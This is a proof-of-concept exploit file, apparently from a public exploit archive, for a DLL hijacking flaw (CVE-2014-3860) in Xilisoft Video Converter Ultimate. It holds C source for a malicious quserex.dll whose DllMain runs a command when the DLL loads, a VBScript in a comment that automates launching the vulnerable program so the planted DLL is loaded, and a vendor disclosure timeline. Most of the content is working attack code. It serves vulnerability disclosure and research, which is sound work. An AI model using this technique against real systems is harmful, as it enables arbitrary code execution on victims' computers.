/*
* Title: Xilisoft Video Converter Ultimate Dll Hijacking Exploit (quserex.dll)
* Version: 7.8.1 build-20140505 (Previous versions might be vulnerable)
* Tested on: Windows XP SP2 en
* Vendor: http://www.xilisoft.com/
* Software Link: http://www.xilisoft.com/webapp/downloader.php?product_code=x-video-converter-ultimate7
* Exploit-Author: Osanda Malith Jayathissa
* /!\ Author is not responsible for any damage you cause
* Use this material for educational purposes only
* Twitter: @OsandaMalith
* CVE: CVE-2014-3860
*/ 
/*
Vulnerable Executables:
1. vcloader.exe
2. vc.exe
3. vc_buy.exe
*/
#include <windows.h>
int pwned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  pwned();
  return 0;
}

/*
As this application as no extensions associated we have to manually a open a file with this application.
So we can automate this process by writting something like this ;) Place the DLL and this script in the
same location. Once the victim runs this script the DLL will be hijacked.

msg=MsgBox ("Automated POC" & chr(13) & "Coded by Osanda Malith", 64, "Xilisoft Video Converter Ultimate Dll Hijacking Exploit")
Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile("new.jpg",2,true)
objFileToWrite.WriteLine("POC by Osanda Malith :D")
objFileToWrite.Close
file = "new.jpg"
Set oShell = CreateObject("WScript.Shell")
' Path to Xilisoft Video Converter
oShell.Run """%ProgramFiles%\Xilisoft\Video Converter Ultimate\vcloader.exe """ & file
*/
/* Disclosure Timeline
2014-04-20 : Contacted the vendor
2014-04-23 : Contacted again as I did not recieve any reply
2014-04-24 : Recieved a response saying that it was forwarded to technicians 
2014-05-16 : Contacted again since there is was reply
2014-05-20 : Recieved a response saying that they cannot reproduce
2014-06-01 : Contacted MITRE
2014-06-02 : Public disclosure */
//EOF